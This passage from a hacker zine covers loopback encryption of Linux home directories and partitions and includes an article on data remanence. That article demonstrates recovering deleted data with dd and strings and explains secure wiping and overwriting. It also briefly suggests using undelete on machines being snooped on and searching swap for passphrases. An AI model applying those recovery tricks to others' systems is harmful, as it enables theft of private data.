owned by user joe. Place an encrypted img called home.img in /usr/imgs/joe
and modify /etc/profile to check if the user's home directory image
exists, and if it does, mount the encrypted image onto /home/$USER
(if it is not already mounted). Then, all that is needed is an
appropriate line in /etc/fstab to allow joe to mount onto /home/joe. 

I personally use this scheme to keep my home directory encrypted on
my machines. When I log in, /etc/profile gets executed and it asks
me for the passphrase needed to mount my home directory. A crontab
periodically runs and tries to unmount my home directory, so that
when I log out and any jobs I left running end, my home directory will
get unmounted. 

If you use xdm to automatically launch X on boot up, then you will
need to modify Xsession in the xdm directory to launch an xterm
that executes the mount command so that the user can mount his home
directory before his ~/.xsession gets executed. 

Consistent with the UNIX philosophy that a device is a file, Loopback
encryption also works for block devices.

To encrypt disk partitions, Linux will need a small unencrypted root
partition (just enough for the kernel, /dev, /etc, /lib and the basic
binaries), maybe 15 or 20 meg. 

/dev/hda2 will contain a filesystem that houses /usr, /var, /home and
whatever else you have. It will get mounted on /fs/hda2. You can set this
filesystem up like so:

$ losetup -e blowfish /dev/loop0 /dev/hda2
$ mkfs.ext2 /dev/loop0
$ mount /dev/loop0 /fs/hda2

Now you can copy all of /usr and everything to /fs/hda2 and just symlink
/fs/hda2/usr to /usr so that everything works. Alternatively, if you
have seperate partitions for /usr, /var, and /tmp you can set them
up as individual partitions. 

Set up your fstab as follows:

/dev/hda2 /fs/hda2 ext2 defaults,encryption=blowfish 0 0

Now, when you boot, you will get prompted for the passphrase needed
to mount /fs/hda2. An attacker will get virtually nothing from your
machine.. they won't even know what applications you have installed. 

I use a similar scheme to keep the contents of removable media and
PCMCIA flash cards encrypted. 

The kernel patches have other applications besides encrypted filesystems.
The patches give support for ENskip, and a tunneling hack which allows
encrypted IP through UDP called CIPE. Check out kerneli.org for more
info on this stuff. 

Credit, and thanks go to the kernel and patch set maintainers. 

References:

1. ftp://ftp.aanet.ru/pub/Linux/utils/util-linux-2.9e.tar.gz
2. ftp://ftp.kerneli.org/pub/kerneli/v2.2/patch-int-2.2.4.1.gz


|0x05|------------------------------------------------------------------------|
|------------------------------ Data Remanence -------------------------------|
|phunda mental <phundie@yahoo.com>--------------------------------------------|
                                      
   So, you've encrypted all your goodies with 3DES, selected strong
   passphrases, and now you are content to sit back and have a beer,
   knowing that your stuff is secure, right?
   
   Yeah. Sure it is.
   
   We are facing the problem of data remanence, and it's a bitch. Strong
   crypto only protects the ciphertext; if the plaintext is sitting
   around on your hard drive you're still screwed.
   
   Data remanence, as the name implies is the residual remains of data
   after it is has been deleted, cleared or purged. In this document, the
   term "deleted" refers to the normal OS-supplied delete command. Clearing
   data refers to a process that attempts to destroy data such that it
   cannot be reconstructed with normal OS-supplied commands or functions,
   including specially created software. Purging refers to a process
   (generally in hardware) that attempts to defeat all of the above
   methods of reconstruction, along with laboratory-based reconstruction
   techniques.
   
   Obviously, DR occurs in many forms, and can be exploited in a few
   different ways.
   
                              Software Methods
                                      
   The first way that DR can bite us in the ass is one that any competent
   DOS/Windows user should know about: the undelete command. The standard
   MS delete just kills the pointer to the file in the FAT, while the
   data itself still sits on the disk. Undelete just restores that
   pointer, and we can get some (or all) of those data bits back.
   
   Well, depending on which color hat we are wearing at the moment, this
   may be helpful. If you are snooping on some alien machine, remember to
   try undelete when looking for interesting files. Else, get a program
   that can help you clear the data. In a pinch, defragging a hard drive
   can sometimes defeat something like undelete (depending on how the
   OS in question works).
   
   Awhile back I was sitting in IRC, discussing DR under Linux. The
   standard response that I got was that since ext2 (the Linux
   filesystem) doesn't operate like FAT, the undelete-type practice can't
   be done and so we have nothing to worry about. This simply isn't true.
   
   Under linux, do the following (you may need root, depending on how you
   configured your setup):
   
        dd if=/dev/zero of=disk.image bs=1024 count=300
        mkfs.ext2 disk.image
        mount disk.image /mnt -o loop
        cd /mnt

   We just made a 300k looped filesystem, and mounted it on /mnt. Now CD
   to /mnt and create a file with some known text in it .. try:

        ps aux > sensitive.file
        sync
        rm sensitive.file

   Now, we've deleted our sensitive file, but as will be demonstrated,
   this file has not been cleared.
   
   Now umount /mnt and do:
        strings < disk.image | grep USER

   You'll see some text from the ps.
   
   Now, if your gear got confiscated imagine someone just running this
   command on /dev/hda1, or whatever. Don't think DoJ wouldn't pay people
   to weed through all the junk to obtain a few juicy bytes, or run some
   nice pattern matching software on the strings output to find stuff
   that looks interesting.
   
   Or, maybe you don't want the contents of a file .. maybe you want a
   passphrase, or the internal state of an RNG or a cipher?
   
   Dig around in the swap partition, maybe you'll get lucky.
   
   This is an example of what DoD calls a "keyboard attack" in the "green
   book[1]." It is an attack to exploit the remnant data on a system
   using a software method. We need a clearing technique here too, and a
   good way is to zero the actual bits of the file; ext2 will eventually
   support this internally[2], but for now you can just rm the file and
   then make a new file of all zeros that fills the entire disk. Lets try
   that.

        mount disk.image /mnt -o loop
        cd /mnt
        dd if=/dev/zero of=output bs=100k
        #wait for error
        sync
        rm output

   Now umount the disk.image and run strings on it again. You'll notice
   that the ps output is gone. You'll also notice that some of the the
   filename is still there. If the file is under some sub-directory, you
   can rmdir the directory and use the above method. If the file is at
   root-level, you're hosed: people can see your filename.
   
   Overwriting the file's bits one-for-one with zeros insures that one
   will not be able to read the data back with the recording device
   itself; thus software, or "keyboard" attacks are successfully defeated
   by such software measures.
   
   It is a good practice to create a script that checks /proc/meminfo
   under Linux. If there is enough RAM free to hold any crap floating in
   swap, then free the swap partition, zero it (or use other techniques,
   discussed below), make a new swap partition and reattach it. This
   could be put in a cron job that runs at off-peak hours.
   
   There are also programs like "wipe.com" (DOS)[3], and "Burn" (Mac)[4]
   that wipe the bits of certain files, allowing a more controlled (and
   thus faster) method of wiping remnant data. I don't know of a way to
   securely wipe files under Linux other than by filling the disk. The
   programs that I found that report to do so fail, and I can't think of
   a reliable way to do it outside of ext2.c. 
   
                              Hardware Methods
                                      
   There is a third type of attack, however, that does not depend on what
   the device (say, a hard disk) claims is on the media. This type of
   attack analyzes the media directly; we'll call it a laboratory attack.
   
   A laboratory attack is highly theoretical, but we had better talk
   about it anyway.
   
   The first thing we have to remember is that digital media isn't purely
   digital: we record our bits on an essentially analog medium, which is
   precisely why we need stuff like MFM (modified frequency modulation)
   encoding; an actual DC level would erase data, not record it.
   
   So, lets talk about disks, and cover some magnetic recording
   properties real quick. I'm going to be fast and loose with the
   electronics, I know it is terribly inaccurate; we just need the basic
   concepts here.
   
   In general, magnetic recording is achieved by issuing a magnetic
   charge onto some ferrous-type material with an electromagnet. To read
   the data back, the juice to the electromagnet is shut off, and the
   disk spins by the coil of the magnet, which induces a voltage in the
   electromagnet, effectively making a small generator. Now, for the sake
   of accuracy we don't just spit bits out into the magnetic medium,
   because DC levels don't work with transformers; which is what our
   read/write head is, basically. So we need to encode it in an analog
   signal using some modulation technique. For the sake of argument, lets
   say our disk is using something like frequency shift keying (FSK).
   In reality, our drives don't do this, but our modems do. I'll use FSK
   since it is easier to talk about, and easy for newbies to understand.
   
   The way we encode our data is to take every digital one and play an
   analog tone for some time, T, and some other tone for a digital zero,
   also for some time T. Maybe we encode 0 as 2600 Hz and 1 as 2000 Hz
   (the Kansas City standard for storing digital info on cassette tape is
   0 = 2400 Hz and 1 = 1200 Hz).
   
   The reason I'm reducing this to a simplified audio analogy will soon
   be obvious.
   
   If you record over a commercial cassette tape with a shitty tape
   recorder, where there are periods of silence in your recording you may
   hear the original commercial tune. This remnant signal is there all
   the time, not just during silence.
   
   What has happened is that the magnetic flux delivered by the
   read/write head of your tape recorder was not powerful enough to
   completely change the polarization of the magnetic particles on the
   tape for the time that the particles were exposed. Those particles act
   in a predictable way, and if we know their current state, and the
   signal applied to them the last time, we can recover the previous
   state. Chock this one up to magnetic hysteresis, it could also be due
   to the head of the tape recorder not being aligned perfectly. More on
   this option below.

   If a particle on a disk has a current polarization strength of A,
   and we know what sort of flux was applied to the particle (which we
   can find by examining the read/write head) then we can find the
   the state of the particle prior to the last write to it, which allows
   us to reconstruct the data.

   Real world bit recover would simply require looking at these particles
   and taking into account the encoding scheme used. The SFS (Secure
   File System) documentation gives a good description of many different
   encoding schemes.    
   
   As I said, this is a theoretical attack. I am not aware of it ever
   actually having been used to recover data.
   
   How can we defeat this attack? By overwriting the data many times.
   
   If we overwrite our data many times, the stored charge on the particle
   gets constantly closer to the upper-end ideal value, which disguises
   the data "underneath." We can use several applications of random bits,
   and then several applications of 00h's and FFh's to overwrite the data.
   
   The random bits insure that the attacker doesn't find a pattern. The
   multiple applications of FF expose the particles to the magnetic flux
   for a longer period of time. Each application gets those particles
   closer and closer to the ideal representation of FF. The truly
   paranoid will want to do all of this several times. Some recommend
   writing zeros after the ones. This is probably pure paranoia, and it
   might be a good idea.
   
   As alluded to above, there is another type of data remanence that can
   be attacked in the lab due to variance in the position of the
   read/write head.
   
   As the disk spins, the head will float over different portions of the
   disk each revolution. When a write occurs, it may charge certain
   particles and on an overwrite it may miss some of those particles,
   leaving the original information behind for exploitation by the lab.
   This lets an attacker read further back into the data record than by
   weeding out signals by cancellation, and is probably easier to perform
   in some respects.
   
   We have no control over this whatsoever in software. To protect
   against this attack requires either degaussing of the media, or
   encryption of the entire device from the first moment it is used until 
   the last.
   
   Using encryption stamps out all of the above problems in one clean, 
   elegant stroke.
   
   Imagine a device that sits in-line between your IDE (or SCSI) adapter
   and the disk controller of the drive. All attempts by the PC to
   negotiate with the drive are intercepted by this device, and the data
   is either encrypted or decrypted as needed and sent along. Thus
   everything that ever touches the drive: file system formatting, the OS
   ... everything gets encrypted and stored. The entire operation would
   be transparent to the host computer, and independent of its
   processing. The user merely gives a key to this controller at start
   up: maybe there is a keypad embedded into a 5.25" faceplate that is
   mounted on the computer's case.
   
   Such a hardware solution not only takes care of data remanence issues
   but also helps to secure  the computer as a whole: with the partition
   table, and OS encrypted, the machine cannot boot without the user
   having set up the in-line filter with the correct key.
   
   Can a well funded adversary pull off a laboratory attack like those
   discussed here? Probably. So if you're not using some form of
   encryption, you might want to start thinking about it. For the stuff
   that no one but you can know about, keep the plaintext on floppies
   and the ciphertext on your hard drive. Floppies can be destroyed or
   degaussed easily. Remember to watch your swap partition though; it is
   probably wise to disengage swap when manipulating sensitive material.
   Best of all, RAM is cheap. Buy 256M of it and give up swap space
   completely.
   
   Against a sufficiently powerful attacker who has your hard drive, you
   are in a world of hurt without in-line encryption. Just how powerful
   "sufficiently powerful" needs to be to actually make this stuff work
   is open to speculation.
   
   Notes:
   1. NCSC-TG-025 "A Guide to Understanding Data Remanence in Automated
   Information Systems" http://www.geekstreet.com/green.html
   
   2. This was all tested with linux kernel version 2.0.35. I do not know
   if 2.1.* will ever have a newer ext2 or not. Look into the chattr
   command on your machine, and dig into the kernel source to see if the
   ext2 code does anything or not. On 2.0.*, it does nothing.
   
   3. From the No-where utilities, get it from your favorite HP filez
   site.
   
   4. Burn is available from the Info-Mac archives.

|0x06|------------------ Phrack 55 Addendum and Errata -----------------------|
|-----------------------------------------------------------------------------|

P55-14@71:

I would like to make the following correction in my article "A GPS Primer"
from Phrack 55.  The Teledesic project is _not_ a MEO satellite venture,
but rather, it uses Low Earth Orbit (LEO) satellites.  Thanks to Eric Rachner
for pointing this out.

    [ Thankz to e5 for submitting this correction. ]

P55-18:

File 18 was erroneously listed as file 17.

|EOF|-------------------------------------------------------------------------|